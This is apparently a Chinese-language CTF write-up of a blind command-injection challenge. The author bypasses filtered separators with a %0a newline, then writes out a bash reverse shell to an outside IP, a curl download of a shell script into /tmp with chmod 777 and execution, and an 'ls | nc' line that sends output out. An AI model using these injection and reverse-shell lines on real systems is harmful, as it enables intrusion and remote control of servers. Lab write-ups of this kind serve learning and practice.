前言
虽然放假了,但是也不能废了,坚持一天一道ctf题目,md因为靶场自己一直都注册不成功,只能赛博复现了。。。。。很喜欢赛博复现
解题过程
这种题目做了一些,就是分隔符去执行命令,但是本题分隔符过滤完了,我们可以试一试%0a什么的,发现成功
开始执行命令,但是只是告诉你执行成功没有,并没有什么回显,标准无回显命令执行,我们通过反弹shell来达到我们的目的,反弹shell需要一个自己的服务器,需要一个公网的ip
bash -i >& /dev/tcp/10.4.7.146/8888 0>&1
发现不能执行,因为有恶意字符
补充一下,如果想要验证自己命令执行成功没有,可以开启python的http服务
200表示成功
思路1
尝试url编码试一试,不行,那只能绕过,那我直接给你上传文件,让你执行文件总可以吧,在自己服务器上搞一个文件,内容为bash -i >& /dev/tcp/10.4.7.146/8888 0>&1
保存为1.sh
然后去下载这个文件
%0acurl ip/1.sh > /tmp/1.sh
然后下载成功后去执行,但是执行之前我们需要提高文件权限chmod 777 /tmp/1.sh
777为最高权限,可以写入修改读取
在服务器上监听8888端口,执行命令 sh /tmp/1.sh
不出意外的话shell反弹成功,在自己服务器上执行命令
以上命令要进行url编码
思路2
不会bash怎么办,那我们就直接执行命令啊,一步一步来做,比如我ls命令,我希望回显到我的服务器上就可以执行命令
ls | nc 10.4.7.146 8888
这个命令就是把ls的结果回显到服务器8888端口上
同样的是|被禁掉了,我们也只能保存为文件,然后和上面一样的步骤
下载ip=%0Acurl 10.4.7.146/ls > /tmp/ls
提权ip=%0Achmod 777 /tmp/ls
执行命令ip=%0A/tmp/ls
不理解为什么这样可以直接执行文件里的命令..
就这样执行,一样的步骤,然后就得到flag
主要是学习一个思路,对反弹bash的熟悉
内容参考https://blog.csdn.net/m0_62202418?type=blog
https://blog.csdn.net/weixin_51559599?type=blog